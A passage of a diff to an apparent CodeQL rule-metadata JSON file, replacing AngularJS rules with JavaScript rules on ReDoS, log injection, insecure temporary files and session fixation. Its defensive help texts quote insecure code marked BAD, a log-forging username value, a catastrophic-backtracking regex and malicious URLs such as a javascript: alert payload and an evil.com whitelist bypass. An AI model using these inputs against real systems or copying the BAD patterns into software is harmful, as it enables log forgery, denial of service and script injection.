';\n });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n .controller('controller', function($scope, $sce) {\n // ...\n // GOOD (but should use the templating system instead)\n $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
'); \n });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Disabling SCE\nAngularJS is secure by default through automated sanitization and filtering of untrusted values that could cause vulnerabilities such as XSS. Strict Contextual Escaping (SCE) is an execution mode in AngularJS that provides this security mechanism.\n\nDisabling SCE in an AngularJS application is strongly discouraged. It is even more discouraged to disable SCE in a library, since it is an application-wide setting.\n\n\n## Recommendation\nDo not disable SCE.\n\n\n## Example\nThe following example shows an AngularJS application that disables SCE in order to dynamically construct an HTML fragment, which is later inserted into the DOM through `$scope.html`.\n\n\n```javascript\nangular.module('app', [])\n .config(function($sceProvider) {\n $sceProvider.enabled(false); // BAD\n }).controller('controller', function($scope) {\n // ...\n $scope.html = '
  • ' + item.toString() + '
';\n });\n\n```\nThis is problematic, since it disables SCE for the entire AngularJS application.\n\nInstead, just mark the dynamically constructed HTML fragment as safe using `$sce.trustAsHtml`, before assigning it to `$scope.html`:\n\n\n```javascript\nangular.module('app', [])\n .controller('controller', function($scope, $sce) {\n // ...\n // GOOD (but should use the templating system instead)\n $scope.html = $sce.trustAsHtml('
  • ' + item.toString() + '
'); \n });\n\n```\nPlease note that this example is for illustrative purposes only; use the AngularJS templating system to dynamically construct HTML when possible.\n\n\n## References\n* AngularJS Developer Guide: [Strict Contextual Escaping](https://docs.angularjs.org/api/ng/service/$sce)\n* AngularJS Developer Guide: [Can I disable SCE completely?](https://docs.angularjs.org/api/ng/service/$sce#can-i-disable-sce-completely-).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" }, "properties" : { - "tags" : [ "security", "maintainability", "frameworks/angularjs", "external/cwe/cwe-116" ], - "description" : "Disabling strict contextual escaping (SCE) can cause security vulnerabilities.", - "id" : "js/angular/disabling-sce", + "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ], + "description" : "A regular expression that requires exponential time to match certain inputs\n can be a performance bottleneck, and may be vulnerable to denial-of-service\n attacks.", + "id" : "js/redos", "kind" : "problem", - "name" : "Disabling SCE", - "precision" : "very-high", - "problem.severity" : "warning", - "security-severity" : "7.8" + "name" : "Inefficient regular expression", + "precision" : "high", + "problem.severity" : "error", + "security-severity" : "7.5" } }, { - "id" : "js/angular/double-compilation", - "name" : "js/angular/double-compilation", + "id" : "js/polynomial-redos", + "name" : "js/polynomial-redos", "shortDescription" : { - "text" : "Double compilation" + "text" : "Polynomial regular expression used on uncontrolled data" }, "fullDescription" : { - "text" : "Recompiling an already compiled part of the DOM can lead to unexpected behavior of directives, performance problems, and memory leaks." + "text" : "A regular expression that can require polynomial time to match may be vulnerable to denial-of-service attacks." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(element)(scope); // NOT OK\n }\n };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(tooltip)(scope); // OK\n }\n };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n", - "markdown" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(element)(scope); // NOT OK\n }\n };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n .directive('addToolTip', function($compile) {\n return {\n link: function(scope, element, attrs) {\n var tooltip = angular.element('A tooltip');\n tooltip.on('mouseenter mouseleave', function() {\n scope.$apply('showToolTip = !showToolTip');\n });\n element.append(tooltip);\n $compile(tooltip)(scope); // OK\n }\n };\n});\n\n```\n\n## References\n* AngularJS Developer Guide: [Double Compilation, and how to avoid it](https://docs.angularjs.org/guide/compiler#double-compilation-and-how-to-avoid-it).\n* Common Weakness Enumeration: [CWE-1176](https://cwe.mitre.org/data/definitions/1176.html).\n" + "text" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(? 1000) {\n throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n", + "markdown" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *nk* or even *2n*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(? 1000) {\n throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n" }, "properties" : { - "tags" : [ "reliability", "frameworks/angularjs", "security", "external/cwe/cwe-1176" ], - "description" : "Recompiling an already compiled part of the DOM can lead to\n unexpected behavior of directives, performance problems, and memory leaks.", - "id" : "js/angular/double-compilation", - "kind" : "problem", - "name" : "Double compilation", - "precision" : "very-high", + "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ], + "description" : "A regular expression that can require polynomial time\n to match may be vulnerable to denial-of-service attacks.", + "id" : "js/polynomial-redos", + "kind" : "path-problem", + "name" : "Polynomial regular expression used on uncontrolled data", + "precision" : "high", "problem.severity" : "warning", - "security-severity" : "8.8" + "security-severity" : "7.5" } }, { - "id" : "js/angular/insecure-url-whitelist", - "name" : "js/angular/insecure-url-whitelist", + "id" : "js/log-injection", + "name" : "js/log-injection", "shortDescription" : { - "text" : "Insecure URL whitelist" + "text" : "Log injection" }, "fullDescription" : { - "text" : "URL whitelists that are too permissive can cause security vulnerabilities." + "text" : "Building log entries from user-controlled sources is vulnerable to insertion of forged log entries by a malicious user." }, "defaultConfiguration" : { "enabled" : true, - "level" : "warning" + "level" : "error" }, "help" : { - "text" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n .config(function($sceDelegateProvider) {\n $sceDelegateProvider.resourceUrlWhitelist([\n \"*://example.org/*\", // BAD\n \"https://**.example.com/*\", // BAD\n \"https://example.**\", // BAD\n \"https://example.*\" // BAD\n ]);\n });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n", - "markdown" : "# Insecure URL whitelist\nAngularJS uses filters to ensure that the URLs used for sourcing AngularJS templates and other script-running URLs are safe. One such filter is a whitelist of URL patterns to allow.\n\nA URL pattern that is too permissive can cause security vulnerabilities.\n\n\n## Recommendation\nMake the whitelist URL patterns as restrictive as possible.\n\n\n## Example\nThe following example shows an AngularJS application with whitelist URL patterns that all are too permissive.\n\n\n```javascript\nangular.module('myApp', [])\n .config(function($sceDelegateProvider) {\n $sceDelegateProvider.resourceUrlWhitelist([\n \"*://example.org/*\", // BAD\n \"https://**.example.com/*\", // BAD\n \"https://example.**\", // BAD\n \"https://example.*\" // BAD\n ]);\n });\n\n```\nThis is problematic, since the four patterns match the following malicious URLs, respectively:\n\n* `javascript://example.org/a%0A%0Dalert(1)` (`%0A%0D` is a linebreak)\n* `https://evil.com/?ignore=://example.com/a`\n* `https://example.evil.com`\n* `https://example.evilTld`\n\n## References\n* OWASP/Google presentation: [Securing AngularJS Applications](https://www.owasp.org/images/6/6e/Benelus_day_20161125_S_Lekies_Securing_AngularJS_Applications.pdf)\n* AngularJS Developer Guide: [Format of items in resourceUrlWhitelist/Blacklist](https://docs.angularjs.org/api/ng/service/$sce#resourceUrlPatternItem).\n* Common Weakness Enumeration: [CWE-183](https://cwe.mitre.org/data/definitions/183.html).\n* Common Weakness Enumeration: [CWE-625](https://cwe.mitre.org/data/definitions/625.html).\n" + "text" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n // GOOD: remove newlines from user controlled input before logging\n let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n", + "markdown" : "# Log injection\nIf unsanitized user input is written to a log entry, a malicious user may be able to forge new log entries.\n\nForgery can occur if a user provides some input with characters that are interpreted when the log output is displayed. If the log is displayed as a plain text file, then new line characters can be used by a malicious user. If the log is displayed as HTML, then arbitrary HTML may be included to spoof log entries.\n\n\n## Recommendation\nUser input should be suitably sanitized before it is logged.\n\nIf the log entries are in plain text then line breaks should be removed from user input, using `String.prototype.replace` or similar. Care should also be taken that user input is clearly marked in log entries.\n\nFor log entries that will be displayed in HTML, user input should be HTML-encoded before being logged, to prevent forgery and other forms of HTML injection.\n\n\n## Example\nIn the first example, a username, provided by the user, is logged using \\`console.info\\`. In the first case, it is logged without any sanitization. In the second case, the username is used to build an error that is logged using \\`console.error\\`. If a malicious user provides \\`username=Guest%0a\\[INFO\\]+User:+Admin%0a\\` as a username parameter, the log entry will be splitted in two different lines, where the second line will be \\`\\[INFO\\]+User:+Admin\\`.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is\n})\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\nIn the second example, `String.prototype.replace` is used to ensure no line endings are present in the user input.\n\n\n```javascript\nconst http = require('http');\nconst url = require('url');\n\nconst server = http.createServer((req, res) => {\n let q = url.parse(req.url, true);\n\n // GOOD: remove newlines from user controlled input before logging\n let username = q.query.username.replace(/\\n|\\r/g, \"\");\n\n console.info(`[INFO] User: ${username}`);\n});\n\nserver.listen(3000, '127.0.0.1', () => {});\n\n```\n\n## References\n* OWASP: [Log Injection](https://www.owasp.org/index.php/Log_Injection).\n* Common Weakness Enumeration: [CWE-117](https://cwe.mitre.org/data/definitions/117.html).\n" }, "properties" : { - "tags" : [ "security", "frameworks/angularjs", "external/cwe/cwe-183", "external/cwe/cwe-625" ], - "description" : "URL whitelists that are too permissive can cause security vulnerabilities.", - "id" : "js/angular/insecure-url-whitelist", - "kind" : "problem", - "name" : "Insecure URL whitelist", - "precision" : "very-high", - "problem.severity" : "warning", - "security-severity" : "7.5" + "tags" : [ "security", "external/cwe/cwe-117" ], + "description" : "Building log entries from user-controlled sources is vulnerable to\n insertion of forged log entries by a malicious user.", + "id" : "js/log-injection", + "kind" : "path-problem", + "name" : "Log injection", + "precision" : "medium", + "problem.severity" : "error", + "security-severity" : "6.1" } }, { - "id" : "js/identity-replacement", - "name" : "js/identity-replacement", + "id" : "js/insecure-temporary-file", + "name" : "js/insecure-temporary-file", "shortDescription" : { - "text" : "Replacement of a substring with itself" + "text" : "Insecure temporary file" }, "fullDescription" : { - "text" : "Replacing a substring with itself has no effect and may indicate a mistake." + "text" : "Creating a temporary file that is accessible by other users can lead to information disclosure and sometimes remote code execution." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n", - "markdown" : "# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n" + "text" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n", + "markdown" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n" }, "properties" : { - "tags" : [ "correctness", "security", "external/cwe/cwe-116" ], - "description" : "Replacing a substring with itself has no effect and may indicate a mistake.", - "id" : "js/identity-replacement", - "kind" : "problem", - "name" : "Replacement of a substring with itself", - "precision" : "very-high", + "tags" : [ "external/cwe/cwe-377", "external/cwe/cwe-378", "security" ], + "description" : "Creating a temporary file that is accessible by other users can\n lead to information disclosure and sometimes remote code execution.", + "id" : "js/insecure-temporary-file", + "kind" : "path-problem", + "name" : "Insecure temporary file", + "precision" : "medium", "problem.severity" : "warning", - "security-severity" : "5.0" + "security-severity" : "7.0" } }, { - "id" : "js/regex/missing-regexp-anchor", - "name" : "js/regex/missing-regexp-anchor", + "id" : "js/session-fixation", + "name" : "js/session-fixation", "shortDescription" : { - "text" : "Missing regular expression anchor" + "text" : "Failure to abandon session" }, "fullDescription" : { - "text" : "Regular expressions without anchors can be vulnerable to bypassing." + "text" : "Reusing an existing session as a different user could allow an attacker to access someone else's account by using their session." }, "defaultConfiguration" : { "enabled" : true, "level" : "warning" }, "help" : { - "text" : "# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code 